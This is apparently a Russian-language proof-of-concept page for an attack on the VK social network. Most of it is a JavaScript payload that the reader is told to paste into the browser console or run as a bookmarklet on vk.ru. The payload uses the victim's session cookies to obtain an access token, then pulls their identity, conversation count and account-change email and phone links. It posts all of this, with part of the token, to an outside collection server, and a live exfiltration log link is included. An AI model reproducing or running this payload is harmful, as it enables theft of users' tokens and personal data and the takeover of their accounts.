VK Crit PoC — max_252

Тест с другой подсети

Открой vk.ru/feed как max_252_2015
Скопируй payload из textarea (Ctrl+A → Ctrl+C)
На вкладке vk.ru: F12 → Console → вставь → Enter
Или перетащи синюю кнопку на закладки и нажми её на vk.ru

Успех: alert CRIT OK uid=671561650

▶ CRIT max_252_2015 (перетащи на закладки) Открыть vk.ru Status JSON

Payload для Console:

(async()=>{
  const X="https://217.60.1.201.sslip.io/exfil";
  const send=async(o)=>{try{await fetch(X,{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify(o),mode:'cors'});}catch(e){try{navigator.sendBeacon(X,JSON.stringify(o));}catch(e2){}}}
  const out={phase:'start',origin:location.origin,href:location.href,ts:Date.now()};
  try{
    const j=await fetch('https://login.vk.ru/?act=web_token',{method:'POST',credentials:'include',headers:{'content-type':'application/x-www-form-urlencoded'},body:'version=1&app_id=7879029'}).then(r=>r.json());
    const t=j&&j.data&&(j.data.access_token||j.data.token);
    out.token_len=t?t.length:0;
    out.token_prefix=t?t.slice(0,24):null;
    if(!t){out.phase='no_token';out.raw=j;await send(out);alert('CRIT: no token (not logged into vk.ru?)');return;}
    const me=await fetch('https://api.vk.ru/method/users.get?v=5.131&fields=screen_name&access_token='+encodeURIComponent(t)).then(r=>r.json());
    const u=(me.response&&me.response[0])||{};
    out.uid=u.id; out.first=u.first_name; out.last=u.last_name; out.screen=u.screen_name;
    const msgs=await fetch('https://api.vk.ru/method/messages.getConversations?v=5.131&count=5&access_token='+encodeURIComponent(t)).then(r=>r.json());
    out.msgs=msgs.response&&msgs.response.count;
    const info=await fetch('https://api.vk.ru/method/account.getInfo?v=5.131&access_token='+encodeURIComponent(t)).then(r=>r.json());
    out.email_wat=info.response&&info.response.change_email_url_wat;
    out.phone_wat=info.response&&info.response.change_phone_url_wat;
    out.phase='done';
    out.victim_ok=(u.id===671561650);
    await send(out);
    try{document.title='CRIT_OK uid='+u.id; alert('CRIT OK uid='+u.id+' | '+u.first_name+' '+u.last_name+' | msgs='+out.msgs+' | victim_ok='+out.victim_ok);}catch(e){}
  }catch(e){out.phase='err';out.err=String(e);await send(out);try{alert('CRIT ERR '+e);}catch(e2){}}
})()

Live exfil

https://217.60.1.201.sslip.io/exfil?tail=1

Цепочка

web_token (session cookies)
users.get + messages.getConversations
account.getInfo → WAT email/phone
POST exfil → https://217.60.1.201.sslip.io/exfil